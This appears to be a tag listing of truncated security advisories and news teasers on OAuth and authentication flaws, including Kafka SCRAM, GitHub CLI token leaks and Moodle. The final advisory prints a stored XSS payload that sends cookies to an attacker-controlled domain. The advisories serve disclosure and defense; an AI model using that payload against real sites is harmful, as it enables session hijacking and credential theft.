#oauth

## Description When linking a social account to an already authenticated user, the lack of a confirmation step introduces a security risk. This is exacerbated if ->stateless() is used in the Socialite configuration, bypassing state verification and making the exploit easier. Developers should ensure that users explicitly confirm account linking and avoid configurations that skip critical security checks. ## Resolution Socialstream v6.2 introduces a new custom route that requires a user to "Confirm" or "Deny" a request to link a social account.

Non-human identities authenticate machine-to-machine communication. The big challenge now is to secure their elements and processes — before attackers can intercept.

Incorrect Implementation of Authentication Algorithm in Apache Kafka's SCRAM implementation. Issue Summary: Apache Kafka's implementation of the Salted Challenge Response Authentication Mechanism (SCRAM) did not fully adhere to the requirements of RFC 5802 [1]. Specifically, as per RFC 5802, the server must verify that the nonce sent by the client in the second message matches the nonce sent by the server in its first message. However, Kafka's SCRAM implementation did not perform this validation. Impact: This vulnerability is exploitable only when an attacker has plaintext access to the SCRAM authentication exchange. However, the usage of SCRAM over plaintext is strongly discouraged as it is considered an insecure practice [2]. Apache Kafka recommends deploying SCRAM exclusively with TLS encryption to protect SCRAM exchanges from interception [3]. Deployments using SCRAM with TLS are not affected by this issue. How to Detect If You Are Impacted: If your deployment uses SCRAM authent...

Any technological innovation comes with security risks, and open banking is no exception. Open banking relies on APIs…

### Summary A security vulnerability has been identified in the GitHub CLI that could leak authentication tokens when cloning repositories containing `git` submodules hosted outside of GitHub.com and ghe.com. ### Details This vulnerability stems from several `gh` commands used to clone a repository with submodules from a non-GitHub host including `gh repo clone`, `gh repo fork`, `gh pr checkout`. These GitHub CLI commands invoke `git` with instructions to retrieve authentication tokens using the [`credential.helper`](https://git-scm.com/docs/gitcredentials) configuration variable for any host encountered. Prior to `2.63.0`, hosts other than GitHub.com and ghe.com are treated as GitHub Enterprise Server hosts and have tokens sourced from the following environment variables before falling back to host-specific tokens stored within system-specific secured storage: - `GITHUB_ENTERPRISE_TOKEN` - `GH_ENTERPRISE_TOKEN` - `GITHUB_TOKEN` _when `CODESPACES` environment variable is set_ The...

### Summary A security vulnerability has been identified in `go-gh` that could leak authentication tokens intended for GitHub hosts to non-GitHub hosts when within a codespace. ### Details `go-gh` sources authentication tokens from different environment variables depending on the host involved: - `GITHUB_TOKEN`, `GH_TOKEN` for GitHub.com and ghe.com - `GITHUB_ENTERPRISE_TOKEN`, `GH_ENTERPRISE_TOKEN` for GitHub Enterprise Server Prior to `2.11.1`, `auth.TokenForHost` could source a token from the `GITHUB_TOKEN` environment variable for a host other than GitHub.com or ghe.com when [within a codespace](https://github.com/cli/go-gh/blob/71770357e0cb12867d3e3e288854c0aa09d440b7/pkg/auth/auth.go#L73-L77). In `2.11.1`, `auth.TokenForHost` will only source a token from the `GITHUB_TOKEN` environment variable for GitHub.com or ghe.com hosts. ### Impact Successful exploitation could send authentication token to an unintended host. ### Remediation and mitigation 1. Upgrade `go-gh` to `...

Amazon Web Services' identity and access management platform has added new features that help developers implement secure, scalable, and customizable authentication solutions for their applications.

A flaw was found in Moodle. Additional checks were required to ensure users can only delete their OAuth2-linked accounts.

More than 3 billion phone coordinates collected by a US data broker expose the detailed movements of US military and intelligence workers in Germany—and the Pentagon is powerless to stop it.

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain. ### Details When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter: ``` test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie" ``` (Note: You may need to URL-encode the '+' sign in the payload.) The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies. The vulnerability is due to insufficient sanitization of the "url" vari...